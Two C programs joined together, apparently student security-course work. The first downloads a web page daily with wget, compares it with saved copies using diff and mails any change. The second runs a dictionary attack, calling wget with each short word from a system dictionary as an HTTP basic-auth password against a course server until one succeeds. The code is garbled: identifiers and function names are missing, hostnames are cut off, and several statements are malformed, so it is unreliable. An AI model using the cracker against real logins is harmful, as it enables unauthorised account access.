#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
  FILE *fh,*fp,*fp1,*d;
  char
  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
  sleep(60*60*24);
  system("wget http://www.cs.rmit.edu./students");
  if(system==0)
  {
   printf("File stored");
  }
  strcpy(filename,"index.html"); 
  if((fh=fopen(filename,"r"))==NULL)
  {
   printf("cannot open file\n");
   exit(1);
  }
  fp=fopen("index.txt","r");
  fp1=fopen("index1.txt","r");
 
  while((fgets(PassString,sizeof(PassString),fh))!= NULL)
  {
    fread(p,sizeof(PassString),sizeof(PassString),fh);
    printf(" contents %s\n",p);
    while((f1!=EOF) || (f2!=EOF))
    {
     f1=getc(fp);
     f2=getc(fp1);
     if(f1<f2)
     {
     strcpy(,p);
     fp=fopen("index.txt","r+b");
     fputs(,fp);
     fflush(fp); 
     fclose(fp); 
    }
    else
    {
      strcpy(temp1,p);
      fp1=fopen("index1.txt","r+b");
      fputs(temp1,fp1);
      fflush(fp1);
      fclose(fp1);
    }
    }
    if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
    {
      d=fopen("Diff.txt","r");
      if((fgets(,sizeof(),d))!=NULL)
      {
        printf("The difference between  exist");
	system("Mail \r\n Difference");
      }
      
    }
  }
 return 0;
  }






#include <stdio.h>
#include <stdlib.h>
#include <time.h>


int ()

{
   int cntr=0;
   char get[96];
   char username[]="";
   char password[16];
   int R_VALUE;
   double time_used;
   clock_t , end;
  
   FILE* fp;
   fp = fopen("/usr/share/lib/dict/words","r");
     
    = clock();
  
       while ( fscanf(fp,"%s",&password) != EOF )
	   {
        
		  
		  if(strlen(password)>3) continue;
		   
		        cntr++;
                printf("%d          >> PASSWORD SEND : %s \n",cntr, password);
              
				sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
                
  
                R_VALUE=system(get);
          
	            if(R_VALUE==0)
				{
		         printf("The Password has been cracked and it is : %s" , password);
		         exit(0);
				}

	   }

	   
  end = clock();
  time_used = ((double) (end - )) / CLOCKS_PER_SEC;
  printf("time_used = %f\n", time_used);

}



